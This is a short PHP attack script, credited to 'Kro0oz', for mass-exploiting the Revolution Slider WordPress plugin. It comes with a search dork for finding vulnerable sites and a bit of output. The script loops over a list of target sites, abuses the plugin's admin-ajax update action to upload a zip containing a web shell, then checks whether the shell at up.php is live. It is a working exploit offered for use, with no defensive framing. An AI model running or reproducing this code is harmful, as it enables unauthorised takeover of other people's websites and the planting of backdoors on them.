upload shell

upload shell

Exploit Fail

site/wp-content/plugins/revslider/temp/update_extract/revslider/up.php

Dork :wp-content/plugins/revslider/temp/update_extract/revslider

##################script#################################
==================================================

<?php

@set_time_limit(0);
@error_reporting(0);


/*

Coded by Kro0oz ~

*/
print "

.-..-.            .--.
: :' ;           : ,. :
:   ' .--.  .--. : :: : .--. .---.
: :.`.: ..'' .; :: :; :' .; :`-'_.'
:_;:_;:_;  `.__.'`.__.'`.__.'`.___;

Coded by Kro0oz - upload shell

         usage : php script.php list.txt
";

$g=@file_get_contents($argv[1]);
$ex=explode("\r\n",$g);
echo "\n\t Total site loaded : ".count($ex)."\n\n";
foreach($ex as $link){
  echo "[+]Scaning : $link ";
  revup($link);
}

function revup($site){
  $urlex=($site).("/wp-admin/admin-ajax.php");

$post = array('client_action'=>"update_plugin",
              "action"=>"revslider_ajax_action",
               "update_file" => "@revslider.zip"
              ) ;

$ch = curl_init("$urlex");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
//print $postResult;
$path="$site/wp-content/plugins/revslider/temp/update_extract/revslider/up.php";
$gett=@file_get_contents($path);
if(preg_match('/Kro0oz codersleet/i',$gett)){
  echo "\n[+]Exploit Done \n[+]shell : $path \n\n ";
}else{
   echo "\n[-]Exploit Fail \n\n";
}

}
?>